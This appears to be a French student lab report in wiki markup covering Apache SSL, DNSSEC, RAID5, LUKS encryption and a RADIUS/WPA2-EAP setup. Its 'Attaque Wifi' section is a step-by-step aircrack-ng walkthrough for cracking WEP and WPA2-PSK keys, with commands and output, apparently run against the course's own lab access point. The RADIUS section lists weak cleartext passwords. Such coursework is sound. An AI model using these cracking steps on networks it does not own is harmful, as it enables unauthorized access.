        ErrorLog /var/log/apache2/error.ima2a5-zerofun.site-secu.log&lt;br /&gt;
        CustomLog /var/log/apache2/access.ima2a5-zerofun.site-secu.log combined&lt;br /&gt;
         # Activation du SSL&lt;br /&gt;
        SSLEngine On&lt;br /&gt;
        ServerAlias www.ima2a5-zerofun.site&lt;br /&gt;
        SSLProtocol All -SSLv3 -SSLv2&lt;br /&gt;
        SSLHonorCipherOrder on&lt;br /&gt;
   SSLCertificateFile &amp;quot;/etc/apache2/certificate/ima2a5-zerofun.crt&amp;quot;&lt;br /&gt;
   SSLCACertificateFile &amp;quot;/etc/apache2/certificate/ima2a5-zerofun.pem&amp;quot;&lt;br /&gt;
   SSLCertificateKeyFile &amp;quot;/etc/apache2/certificate/ima2a5-zerofun.key&amp;quot;&lt;br /&gt;
   &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Une fois notre .conf établi, on doit désactiver la configuration générée par défaut par Apache2 et activer notre configuration : &lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# a2dissite 000-default.conf //Stopper la configuration par défaut&lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# a2ensite ima2a5-zerofun.site //Lancer notre configuration&lt;br /&gt;
&lt;br /&gt;
On active le protocole SSL via &lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# a2enmode ssl&lt;br /&gt;
Puis on relance le serveur Apache2&lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# service apache2 restart&lt;br /&gt;
 [ ok ] Restarting Apache httpd web server: apache2.&lt;br /&gt;
&lt;br /&gt;
On peut vérifier notre configuration : &lt;br /&gt;
&lt;br /&gt;
 root@ima2a5-zerofun:/etc/bind# apache2ctl -S&lt;br /&gt;
&lt;br /&gt;
 VirtualHost configuration:&lt;br /&gt;
 *:80                   www.ima2a5-zerofun.site (/etc/apache2/sites-enabled/ima2a5-zerofun.site-secu.conf:1)&lt;br /&gt;
 *:443                  www.ima2a5-zerofun.site (/etc/apache2/sites-enabled/ima2a5-zerofun.site-secu.conf:8)&lt;br /&gt;
 ServerRoot: &amp;quot;/etc/apache2&amp;quot;&lt;br /&gt;
 Main DocumentRoot: &amp;quot;/var/www/html&amp;quot;&lt;br /&gt;
 Main ErrorLog: &amp;quot;/var/log/apache2/error.log&amp;quot;&lt;br /&gt;
 Mutex watchdog-callback: using_defaults&lt;br /&gt;
 Mutex ssl-stapling-refresh: using_defaults&lt;br /&gt;
 Mutex ssl-stapling: using_defaults&lt;br /&gt;
 Mutex ssl-cache: using_defaults&lt;br /&gt;
 Mutex default: dir=&amp;quot;/var/run/apache2/&amp;quot; mechanism=default &lt;br /&gt;
 PidFile: &amp;quot;/var/run/apache2/apache2.pid&amp;quot;&lt;br /&gt;
 Define: DUMP_VHOSTS&lt;br /&gt;
 Define: DUMP_RUN_CFG&lt;br /&gt;
 User: name=&amp;quot;www-data&amp;quot; id=33&lt;br /&gt;
 Group: name=&amp;quot;www-data&amp;quot; id=33&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====Gestion des certificats====&lt;br /&gt;
&lt;br /&gt;
Gandi nous a fourni la clé intermédiaire (ima2a5-zerofun.pem) , le certificat (ima2a5-zerofun.crt) et on a généré la clé privée (.key) avec openssl &lt;br /&gt;
&lt;br /&gt;
 # openssl req -nodes -newkey rsa:2048 -sha256 -keyout ima2a5-zerofun.key -out ima2a5-zerofun.csr &lt;br /&gt;
&lt;br /&gt;
On places ces fichiers dans /etc/apache2/certificate   pour pouvoir les utiliser dans notre fichier de configuration.&lt;br /&gt;
&lt;br /&gt;
====Aperçu site web ima2a5-zerofun.site====&lt;br /&gt;
&lt;br /&gt;
www.ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
http://ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
https://ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
 [[Fichier:---home-fabien-Images-site web cav hirt.png]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Notre site est sécurisé, on peut afficher le certificat et voir le petit cadenas vert. On est Safe ! :D  &lt;br /&gt;
&lt;br /&gt;
 [[Fichier:---sitesécurisé.png]]&lt;br /&gt;
&lt;br /&gt;
===Mise en place du serveur DNSSEC avec bind9===&lt;br /&gt;
Le serveur DNS (Domain Name Server) permet d'associer à une adresse IP, un nom de domaine. Ainsi, pour rechercher un serveur, on donnera son nom plutôt que son adresse IP.&lt;br /&gt;
Pour mettre en place ce DNS, on va utiliser le logiciel open source bind9.&lt;br /&gt;
&lt;br /&gt;
====Installation et paramétrage de bind9====&lt;br /&gt;
&lt;br /&gt;
'''Installer bind9'''&lt;br /&gt;
&lt;br /&gt;
 # apt-get install bind9&lt;br /&gt;
&lt;br /&gt;
'''Génération des clés '''&lt;br /&gt;
 &lt;br /&gt;
 dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE ima2a5-zerofun.site&lt;br /&gt;
 dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
'''Signature de la zone'''&lt;br /&gt;
&lt;br /&gt;
 dnssec-signzone -o ima2a5-zerofun.site -k ima2a5-zerofun.site-ksk ../ima2a5-zerofun.site ima2a5-zerofun.site-zsk&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Il faut paramétrer bind9. &lt;br /&gt;
D'abord le fichier .conf qui permet de définir les zones de résolution de DNS. &lt;br /&gt;
 &lt;br /&gt;
 #nano /etc/bind/named.conf.local&lt;br /&gt;
&lt;br /&gt;
 //Zone de resolution du domaine ima2a5-zerofun.site&lt;br /&gt;
 zone &amp;quot;ima2a5-zerofun.site&amp;quot; {&lt;br /&gt;
 type master;&lt;br /&gt;
 file &amp;quot;/etc/bind/ima2a5-zerofun.site.signed&amp;quot;;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Le second fichier à paramétrer est le .conf.options, il contient l'ensemble des options de configurations du serveur DNS&lt;br /&gt;
&lt;br /&gt;
 root@ima2a5-zerofun:/etc/bind# cat named.conf.options &lt;br /&gt;
 options {&lt;br /&gt;
 directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
 dnssec-validation auto;&lt;br /&gt;
 dnssec-enable yes;&lt;br /&gt;
 dnssec-lookaside auto;&lt;br /&gt;
 auth-nxdomain no;    # conform to RFC1035&lt;br /&gt;
 listen-on-v6 { any; };&lt;br /&gt;
 allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;; };&lt;br /&gt;
 };&lt;br /&gt;
 acl &amp;quot;allowed_to_transfer&amp;quot; { &lt;br /&gt;
 217.70.177.40/32;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Enfin, le fichier qui va configurer les zones de résolution&lt;br /&gt;
&lt;br /&gt;
root@ima2a5-zerofun:/etc/bind# cat ima2a5-zerofun.site&lt;br /&gt;
 &lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 $include /etc/bind/ima2a5-zerofun.site.dnssec/ima2a5-zerofun.site-ksk.key&lt;br /&gt;
 $include /etc/bind/ima2a5-zerofun.site.dnssec/ima2a5-zerofun.site-zsk.key&lt;br /&gt;
 @       IN      SOA     dns.ima2a5-zerofun.site. root@ima2a5-zerofun.site. (&lt;br /&gt;
                        26112021        ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      dns.ima2a5-zerofun.site.&lt;br /&gt;
 @       IN      NS      ns-9-b.gandi.net.&lt;br /&gt;
 @	IN	NS	ns6.gandi.net.&lt;br /&gt;
 @	IN	A	193.48.57.161&lt;br /&gt;
 dns     IN      A       193.48.57.161&lt;br /&gt;
 www     IN      A       193.48.57.161   &lt;br /&gt;
 info09  IN      TXT     &amp;quot;Micral&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Notre DNS est maintenant configuré, on relance le service bind9&lt;br /&gt;
 &lt;br /&gt;
 # service bind9 restart&lt;br /&gt;
&lt;br /&gt;
====Gestion des DNS sur gandi.net====&lt;br /&gt;
&lt;br /&gt;
Ajout des DNS sur gandi.net : &lt;br /&gt;
&lt;br /&gt;
On a notre serveur de noms principal : dns.ima2a5-zerofun.site &lt;br /&gt;
&lt;br /&gt;
Ainsi que le serveur de nom secondaire, celui de Gandi : ns6.gandi.net   qui supporte les zones DNSSEC&lt;br /&gt;
&lt;br /&gt;
 [[Fichier:DNSGandi.png]]&lt;br /&gt;
&lt;br /&gt;
Attribution de l'adresse IP de notre DNS principal par le biais d'un Glue record sur le site gandi.net:&lt;br /&gt;
 [[Fichier:GlueRecord.png]]&lt;br /&gt;
&lt;br /&gt;
==Attaque Wifi==&lt;br /&gt;
===Installation de l'utilitaire AirCrack===&lt;br /&gt;
Pour installer l'utilitaire qui va nous permettre de d'attaquer les clés WEP et WPA2-PSK&lt;br /&gt;
 apt-get install aircrack-ng&lt;br /&gt;
===Cassage WEP===&lt;br /&gt;
&lt;br /&gt;
'''Lister les interfaces sans fil disponibles'''&lt;br /&gt;
&lt;br /&gt;
 # airmon-ng &lt;br /&gt;
 &amp;gt;&amp;gt; phy0 wlx40a5ef0f679b rt2800usb Ralink Technology, Corp. RT5370&lt;br /&gt;
&lt;br /&gt;
'''Passage de la carte wifi en mode moniteur'''&lt;br /&gt;
&lt;br /&gt;
On souhaite dédier notre clé wifi au sniffage du réseau sans fil. Pour cela, on la passe en mode &amp;lt;&amp;lt;moniteur&amp;gt;&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
 # airmon-ng start wlx40a5ef0f679b     //wlx40a5ef0f679b est le nom de notre interface sans fil. Souvent le pc la renomme en wlan0mon ou autre standard mais cette fois,il ne l'a pas fait. Je ne sais pas pourquoi, mais ce n'est pas grave. &lt;br /&gt;
&lt;br /&gt;
'''Ecoute des trames Wifi sur le canal 2'''&lt;br /&gt;
&lt;br /&gt;
On peut alors sniffer tout ce qui se passe sur le canal 2&lt;br /&gt;
&lt;br /&gt;
 # airodump-ng --encrypt wep -c 2 wlx40a5ef0f679b &lt;br /&gt;
&lt;br /&gt;
Cela nous permet de récupérer le BSSID de notre cracotte01 &lt;br /&gt;
BSSID : 04:DA:D2:9C:50:50&lt;br /&gt;
&lt;br /&gt;
'''Récupération des datas échangées sur le réseau Wifi'''&lt;br /&gt;
&lt;br /&gt;
Puis on va récupérer toutes les données qui transitent sur ce canal en se concentrant uniquement sur les paquets échangés avec notre cracotte01.  &lt;br /&gt;
&lt;br /&gt;
 # airodump-ng -c -2 --bssid 04:DA:D2:9C:50:50 -w data.txt wlx40a5ef0f679b&lt;br /&gt;
&lt;br /&gt;
'''Décryptage de la clé WEP'''&lt;br /&gt;
&lt;br /&gt;
Enfin, on ouvre un autre terminal dans lequel on lance la commande &lt;br /&gt;
 # aircrack-ng -b 04:DA:D2:9C:50:50 data*.cap &lt;br /&gt;
&lt;br /&gt;
Au bout d'une dizaine de minutes (au moins), on obtient la clé ! &lt;br /&gt;
 [[Fichier:Aircrack.png]]&lt;br /&gt;
&lt;br /&gt;
===Cassage WPA2-PSK===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
D'abord on va lister les interfaces WiFi de notre machine avec la commande &lt;br /&gt;
 airmon-ng &lt;br /&gt;
&lt;br /&gt;
 PHY	Interface	Driver		Chipset&lt;br /&gt;
 phy0	wlx40a5ef0590b2	rt2800usb       Ralink Technology, Corp. RT5370 &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite on va lancer le &amp;quot;monitor mode&amp;quot; pour dédier l'interface à Aircrack&lt;br /&gt;
 airmon-ng start wlx40a5ef0590b2 &lt;br /&gt;
&lt;br /&gt;
Le pc va renommer l'interface par un nom standard qu'il réutilisera pour d'autres commandes. &lt;br /&gt;
Si on re-check les interfaces, on a maintenant : &lt;br /&gt;
 PHY	Interface	Driver		Chipset&lt;br /&gt;
 phy0	wlan0mon	rt2800usb       Ralink Technology, Corp. RT5370 &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite on récupère l'adresse MAC du point d'accès avec : &lt;br /&gt;
 airodum-ng --encrypt wpa wlan0mon&lt;br /&gt;
&lt;br /&gt;
On prend le BSSID de notre kracotte01    =&amp;gt;   04:DA:D2:9C:50:58 &lt;br /&gt;
&lt;br /&gt;
Puis on récupère le handshake qui correspond au moment où le kracotte veut entreprendre la communication avec le routeur&lt;br /&gt;
 airodump-ng -w -handshake -c 2 --bssid 04:DA:D2:9C:50:58 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Une fois le handshake récupéré, on va créer un dictionnaire contenant les caractères que l'on pense être contenus dans la clé WPA et avec le nombre minimal et maximal de caractères ( 8 et 8, dans notre cas)&lt;br /&gt;
On utilise crunch : &lt;br /&gt;
 crunch 8 8 0123456789 &amp;gt;&amp;gt; Dico_fc.txt&lt;br /&gt;
&lt;br /&gt;
Ensuite on lance la commande qui va comparer le handshake et le dictionnaire :&lt;br /&gt;
 root@zabeth14:/home/pifou/Desktop/craquage WPA# aircrack-ng handshake-02.cap -w Dico_fc.txt&lt;br /&gt;
&lt;br /&gt;
Puis on laisse tourner jusqu'à ce qu'il trouve la clé. (Bonne soirée...)&lt;br /&gt;
 Opening handshake-02.cap&lt;br /&gt;
 Read 242831 packets.&lt;br /&gt;
   #  BSSID              ESSID                     Encryption&lt;br /&gt;
   1  04:DA:D2:9C:50:58  kracotte01                WPA (1 handshake)&lt;br /&gt;
 Choosing first network as target.&lt;br /&gt;
 Opening handshake-02.cap&lt;br /&gt;
 Reading packets, please wait...&lt;br /&gt;
                                 Aircrack-ng 1.2 rc4&lt;br /&gt;
      [00:21:23] 10222228/102795810 keys tested (8175.38 k/s) &lt;br /&gt;
      Time left: 3 hours, 8 minutes, 43 seconds                  9.94%&lt;br /&gt;
                           KEY FOUND! [ 10222222 ]&lt;br /&gt;
      Master Key     : FB F0 0D 55 85 CC 0D A6 9B AA 68 CE 90 3D D2 84 &lt;br /&gt;
                       02 AD A6 12 3D 35 8A 2D 67 58 CF 0A 1B 99 30 B0 &lt;br /&gt;
      Transient Key  : C9 A5 CD E3 86 CC 6E B9 72 FE 47 B6 12 29 75 95 &lt;br /&gt;
                       70 B3 7E 31 05 0F C0 F5 53 92 7C 97 07 81 9D 90 &lt;br /&gt;
                       09 F2 0B 66 4C 6D 58 35 5E CC E2 5A 2A 25 D2 66 &lt;br /&gt;
                       18 36 5D 9D 57 30 A5 72 AA 89 55 1E 27 84 D1 3A &lt;br /&gt;
      EAPOL HMAC     : 2A 02 78 56 B1 DC 14 02 D1 27 54 6E 3D 0C 71 7E&lt;br /&gt;
&lt;br /&gt;
==Stockage Raid5==&lt;br /&gt;
&lt;br /&gt;
'''RAID5 , c'est quoi ? '''&lt;br /&gt;
On souhaite ensuite créer un RAID (Redundant Array of Inexpensive Disks) afin de rendre notre système de stockage plus robuste. On choisit de faire un RAID5, ce qui va permettre de répartir nos données sur plusieurs partitions et rendre l'accès à ces données plus rapide. &lt;br /&gt;
Nous décidons d'utiliser 3 disques. Ainsi, chaque disque sera composé d'une partie des données mais également d'un bloc destiné à la parité. Par conséquent, si l'un des disques tombe en panne, on pourra le reconstituer grâce aux 2 autres. &lt;br /&gt;
&lt;br /&gt;
[[Fichier:RAID5.png]]&lt;br /&gt;
&lt;br /&gt;
'''Création des disques'''&lt;br /&gt;
&lt;br /&gt;
On crée les 3 disques de 1Go&lt;br /&gt;
 lvcreate -L1G -n ima2a5-zerofun-d1 virtual&lt;br /&gt;
 lvcreate -L1G -n ima2a5-zerofun-d2 virtual&lt;br /&gt;
 lvcreate -L1G -n ima2a5-zerofun-d3 virtual&lt;br /&gt;
&lt;br /&gt;
 cd /dev/virtual&lt;br /&gt;
&lt;br /&gt;
On fait pointer le système de fichiers sur nos 3 disques. &lt;br /&gt;
&lt;br /&gt;
 mke2fs /dev/virtual/ima2a5-zerofun-d1&lt;br /&gt;
 mke2fs /dev/virtual/ima2a5-zerofun-d2&lt;br /&gt;
 mke2fs /dev/virtual/ima2a5-zerofun-d3&lt;br /&gt;
&lt;br /&gt;
'''Mise à jour du fichier de config de la VM'''&lt;br /&gt;
&lt;br /&gt;
On met a jour le fichier de config de la VM&lt;br /&gt;
&lt;br /&gt;
 root        = '/dev/xvda2 ro'&lt;br /&gt;
 disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/ima2a5-zerofun/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/ima2a5-zerofun/swap.img,xvda1,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-home,xvdb1,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-var,xvdb2,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-d1,xvdb3,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-d2,xvdb4,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-d3,xvdb5,w',&lt;br /&gt;
              ]&lt;br /&gt;
'''Utilisation de l'utilitaire mdadm pour la gestion du RAID5'''&lt;br /&gt;
&lt;br /&gt;
On retourne sur la VM et on installe mdadm. Cet utilitaire&lt;br /&gt;
 apt-get install mdadm&lt;br /&gt;
&lt;br /&gt;
'''Construction du volume RAID'''&lt;br /&gt;
&lt;br /&gt;
 # mdadm --create /dev/md0 --level=5  --raid-devices=3 /dev/xvdb3 /dev/xvdb4 /dev/xvdb5&lt;br /&gt;
&lt;br /&gt;
result:&lt;br /&gt;
 mdadm: /dev/xvdb3 appears to contain an ext2fs file system&lt;br /&gt;
       size=1048576K  mtime=Thu Jan  1 00:00:00 1970&lt;br /&gt;
 mdadm: /dev/xvdb4 appears to contain an ext2fs file system&lt;br /&gt;
       size=1048576K  mtime=Thu Jan  1 00:00:00 1970&lt;br /&gt;
 mdadm: /dev/xvdb5 appears to contain an ext2fs file system&lt;br /&gt;
       size=1048576K  mtime=Thu Jan  1 00:00:00 1970&lt;br /&gt;
&lt;br /&gt;
'''Démonisation du volume RAID'''&lt;br /&gt;
On va maintenant démoniser le volume RAID, c'est à dire faire en sorte que le système charge le volume à chaque démarrage. &lt;br /&gt;
 # mdadm --monitor --daemonise /dev/md0&lt;br /&gt;
&lt;br /&gt;
'''Formatage du volume RAID'''&lt;br /&gt;
Enfin, on formate le volume.&lt;br /&gt;
 # mkfs.ext4 /dev/md0&lt;br /&gt;
&lt;br /&gt;
'''Informations sur notre RAID5'''&lt;br /&gt;
&lt;br /&gt;
La commande suivante permet d'obtenir des informations sur notre volume fraîchement crée. &lt;br /&gt;
&lt;br /&gt;
 root@ima2a5-zerofun:~# mdadm --detail /dev/md0&lt;br /&gt;
 /dev/md0:&lt;br /&gt;
        Version : 1.2&lt;br /&gt;
  Creation Time : Thu Nov 28 16:56:26 2019&lt;br /&gt;
     Raid Level : raid5&lt;br /&gt;
     Array Size : 2095104 (2046.00 MiB 2145.39 MB)&lt;br /&gt;
  Used Dev Size : 1047552 (1023.00 MiB 1072.69 MB)&lt;br /&gt;
   Raid Devices : 3&lt;br /&gt;
  Total Devices : 3&lt;br /&gt;
    Persistence : Superblock is persistent&lt;br /&gt;
    Update Time : Sun Dec  1 01:00:45 2019&lt;br /&gt;
          State : clean &lt;br /&gt;
 Active Devices : 3&lt;br /&gt;
 Working Devices : 3&lt;br /&gt;
 Failed Devices : 0&lt;br /&gt;
  Spare Devices : 0&lt;br /&gt;
         Layout : left-symmetric&lt;br /&gt;
     Chunk Size : 512K&lt;br /&gt;
           Name : ima2a5-zerofun:0  (local to host ima2a5-zerofun)&lt;br /&gt;
           UUID : d0b2e2f1:c1298ca0:c684c1ec:b711b7f0&lt;br /&gt;
         Events : 23&lt;br /&gt;
    Number   Major   Minor   RaidDevice State&lt;br /&gt;
       0     202       19        0      active sync   /dev/xvdb3&lt;br /&gt;
       1     202       20        1      active sync   /dev/xvdb4&lt;br /&gt;
       3     202       21        2      active sync   /dev/xvdb5&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Avec &lt;br /&gt;
 #fdisk -l &lt;br /&gt;
on voit nos 3 disques de 1Go et le volume du RAID5 (md0) qui vaut 2 Go, ce qui est logique car seuls 2 tiers de l'espace disponible seront utilisés pour le stockage. Le tiers restant est destiné à la parité.&lt;br /&gt;
 Disk /dev/xvdb3: 1 GiB, 1073741824 bytes, 2097152 sectors&lt;br /&gt;
 Units: sectors of 1 * 512 = 512 bytes&lt;br /&gt;
 Sector size (logical/physical): 512 bytes / 512 bytes&lt;br /&gt;
 I/O size (minimum/optimal): 512 bytes / 512 bytes&lt;br /&gt;
 Disk /dev/xvdb4: 1 GiB, 1073741824 bytes, 2097152 sectors&lt;br /&gt;
 Units: sectors of 1 * 512 = 512 bytes&lt;br /&gt;
 Sector size (logical/physical): 512 bytes / 512 bytes&lt;br /&gt;
 I/O size (minimum/optimal): 512 bytes / 512 bytes&lt;br /&gt;
 Disk /dev/xvdb5: 1 GiB, 1073741824 bytes, 2097152 sectors&lt;br /&gt;
 Units: sectors of 1 * 512 = 512 bytes&lt;br /&gt;
 Sector size (logical/physical): 512 bytes / 512 bytes&lt;br /&gt;
 I/O size (minimum/optimal): 512 bytes / 512 bytes&lt;br /&gt;
 Disk /dev/md0: 2 GiB, 2145386496 bytes, 4190208 sectors&lt;br /&gt;
 Units: sectors of 1 * 512 = 512 bytes&lt;br /&gt;
 Sector size (logical/physical): 512 bytes / 512 bytes&lt;br /&gt;
 I/O size (minimum/optimal): 524288 bytes / 1048576 bytes&lt;br /&gt;
&lt;br /&gt;
Il ne reste qu'à modifier le fichier /etc/fstab pour que le système de fichier monte au démarrage.&lt;br /&gt;
 # nano /etc/fstab&lt;br /&gt;
 &lt;br /&gt;
 # /etc/fstab: static file system information.&lt;br /&gt;
 #&lt;br /&gt;
 # &amp;lt;file system&amp;gt; &amp;lt;mount point&amp;gt;   &amp;lt;type&amp;gt;  &amp;lt;options&amp;gt;       &amp;lt;dump&amp;gt;  &amp;lt;pass&amp;gt;&lt;br /&gt;
 proc            /proc           proc    defaults        0       0&lt;br /&gt;
 devpts          /dev/pts        devpts  rw,noexec,nosuid,gid=5,mode=620 0  0&lt;br /&gt;
 /dev/xvda1 none swap sw 0 0&lt;br /&gt;
 /dev/xvda2 / ext4 noatime,nodiratime,errors=remount-ro 0 1&lt;br /&gt;
 /dev/xvdb1		/home		ext4		defaults				0		2&lt;br /&gt;
 /dev/xvdb2		/var		ext4		defaults				0		2&lt;br /&gt;
 /dev/md0		/media/raid	ext4		defaults				0		1&lt;br /&gt;
&lt;br /&gt;
 mke2fs 1.43.4 (31-Jan-2017)&lt;br /&gt;
 Creating filesystem with 523776 4k blocks and 131072 inodes&lt;br /&gt;
 Filesystem UUID: 392e14e4-44b5-4782-89ea-75c8483fd41b&lt;br /&gt;
 Superblock backups stored on blocks: &lt;br /&gt;
 32768, 98304, 163840, 229376, 294912&lt;br /&gt;
 Allocating group tables: done                            &lt;br /&gt;
 Writing inode tables: done                            &lt;br /&gt;
 Creating journal (8192 blocks): done&lt;br /&gt;
 Writing superblocks and filesystem accounting information: done &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 mkdir /media/raid&lt;br /&gt;
&lt;br /&gt;
==Cryptage de fichiers==&lt;br /&gt;
On désire crypter des fichiers contenus sur une clé USB, c'est à dire la rendre illisible sauf pour celui qui détient le mot de passe. &lt;br /&gt;
&lt;br /&gt;
Dans un premier temps on installe le package qui va nous permettre de crypter la clé USB:&lt;br /&gt;
&lt;br /&gt;
 apt-get install lvm2 cryptsetup&lt;br /&gt;
&lt;br /&gt;
On affiche les périphériques USB disponibles:&lt;br /&gt;
 lsblk&lt;br /&gt;
&lt;br /&gt;
Attention ces étapes ont pour but de supprimer le contenu de la clé USB:&lt;br /&gt;
&lt;br /&gt;
 fdsik /dev/sda&lt;br /&gt;
 d //permet de supprimer les partitions &lt;br /&gt;
 w // on sauvegarde les modifications &lt;br /&gt;
 n // on crée une nouvelle partition&lt;br /&gt;
 p // pour la rendre primaire &lt;br /&gt;
 1 // on lui donne un numéro de partition &lt;br /&gt;
&lt;br /&gt;
On garde le volume du disque par défaut proposé. &lt;br /&gt;
&lt;br /&gt;
La clé USB est maintenant prête à être chiffrée grâce au package précédemment téléchargé&lt;br /&gt;
&lt;br /&gt;
Chiffrage du périphérique&lt;br /&gt;
&lt;br /&gt;
 cryptsetup luksFormat -c aes -h sha256 /dev/sda1&lt;br /&gt;
  &lt;br /&gt;
Ouverture sécurisée du périphérique&lt;br /&gt;
&lt;br /&gt;
 cryptsetup open --type luks /dev/sda1 home&lt;br /&gt;
 &lt;br /&gt;
Création du système de fichiers&lt;br /&gt;
&lt;br /&gt;
 mkfs.ext4 /dev/mapper/home&lt;br /&gt;
&lt;br /&gt;
Montage du périphérique&lt;br /&gt;
&lt;br /&gt;
 mount -t ext4 /dev/mapper/home /mnt/cle_usb&lt;br /&gt;
&lt;br /&gt;
Démontage physique du périphérique&lt;br /&gt;
&lt;br /&gt;
 umount /mnt/cle_usb&lt;br /&gt;
&lt;br /&gt;
Fermeture sécurisée du périphérique&lt;br /&gt;
&lt;br /&gt;
 cryptsetup close --type luks home&lt;br /&gt;
&lt;br /&gt;
==Sécurisation wifi par WPA2-EAP==&lt;br /&gt;
&lt;br /&gt;
Pour cette partie, nous avons suivi le travail de Jorge, en adaptant pour notre groupe. &lt;br /&gt;
&lt;br /&gt;
Dans le CISCO : &lt;br /&gt;
&lt;br /&gt;
'''Création du serveur radius'''&lt;br /&gt;
&lt;br /&gt;
 radius-server host 193.48.57.161 auth-port 1812 acct-port 1813 key glopglop&lt;br /&gt;
&lt;br /&gt;
'''Définir le groupe de serveur AAA'''&lt;br /&gt;
&lt;br /&gt;
 aaa group server radius radius_ima2a5-zerofun&lt;br /&gt;
&lt;br /&gt;
'''Association du groupe de serveur et du serveur de la VM'''&lt;br /&gt;
&lt;br /&gt;
 server 193.48.57.161 auth-port 1812 acct-port 1813&lt;br /&gt;
&lt;br /&gt;
'''Définition du login et du groupe de serveur'''&lt;br /&gt;
&lt;br /&gt;
 aaa authentication login eap_ima2a5-zerofun group radius_ima2a5-zerofun&lt;br /&gt;
&lt;br /&gt;
'''Définition du SSID'''&lt;br /&gt;
&lt;br /&gt;
 dot11 ssid SSID_ima2a5-zerofun                                &lt;br /&gt;
 vlan num_vlan&lt;br /&gt;
 authentication open eap eap_ima2a5-zerofun  &lt;br /&gt;
 authentication network-eap eap_ima2a5-zerofun  &lt;br /&gt;
 authentication key-management wpa&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Configuration du Vlan'''&lt;br /&gt;
&lt;br /&gt;
 interface Dot11Radio0&lt;br /&gt;
 encryption vlan 2 mode ciphers aes-ccm tkip&lt;br /&gt;
 ssid SSID_ima2a5-zerofun&lt;br /&gt;
&lt;br /&gt;
'''Création d'une sous interface'''&lt;br /&gt;
 &lt;br /&gt;
interface dot11Radio0.2&lt;br /&gt;
 encapsulation dot1Q 2&lt;br /&gt;
 bridge-group 2&lt;br /&gt;
&lt;br /&gt;
''' '''&lt;br /&gt;
 interface gigabite0.2&lt;br /&gt;
 encapsulation dot1Q 2&lt;br /&gt;
 bridge-group 2&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Ajout SSID dans l'interface Dot11Radio0'''&lt;br /&gt;
&lt;br /&gt;
 interface Dot11Radio0&lt;br /&gt;
 dot11 ssid SSID_ima2a5-zerofun&lt;br /&gt;
&lt;br /&gt;
'''Rendre visible le SSID'''&lt;br /&gt;
 &lt;br /&gt;
 interface Dot11Radio0&lt;br /&gt;
 mbssid&lt;br /&gt;
 dot11 ssid SSID_ima2a5-zerofun&lt;br /&gt;
 mbssid guest-mode &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 exit&lt;br /&gt;
 exit&lt;br /&gt;
 write&lt;br /&gt;
 reload&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Serveur FreeRadius==&lt;br /&gt;
L'objectif d'un serveur Radius est de centraliser tous les utilisateurs sur un seul et unique serveur&lt;br /&gt;
&lt;br /&gt;
 # ssh @193.48.57.161&lt;br /&gt;
 &lt;br /&gt;
'''Installation de freeradius'''&lt;br /&gt;
On commence par installer le logiciel freeradius sur la VM&lt;br /&gt;
&lt;br /&gt;
 # apt-get install freeradius&lt;br /&gt;
&lt;br /&gt;
Ensuite dans le fichier /etc/freeradius/3.0/users, on ajoute nos utilisateurs : &lt;br /&gt;
&lt;br /&gt;
 pifou Cleartext-Password :=&amp;quot;glopglop&amp;quot;&lt;br /&gt;
 apache Cleartext-Password :=&amp;quot;capitaine&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Puis dans /etc/freeradius/3.0/mods-enabled/eap :&lt;br /&gt;
&lt;br /&gt;
 default_eap_type = peap&lt;br /&gt;
&lt;br /&gt;
Et dans /etc/freeradius/3.0/mods-enabled/mschap :&lt;br /&gt;
&lt;br /&gt;
use_mppe = yes&lt;br /&gt;
require_encryption = yes&lt;br /&gt;
require_strong = yes&lt;br /&gt;
with_ntdomain_hack = yes&lt;br /&gt;
&lt;br /&gt;
Enfin, on ajoute la borne à la liste des clients : &lt;br /&gt;
 client access-point {                 &lt;br /&gt;
       ipaddr          = 10.60.0.100   &lt;br /&gt;
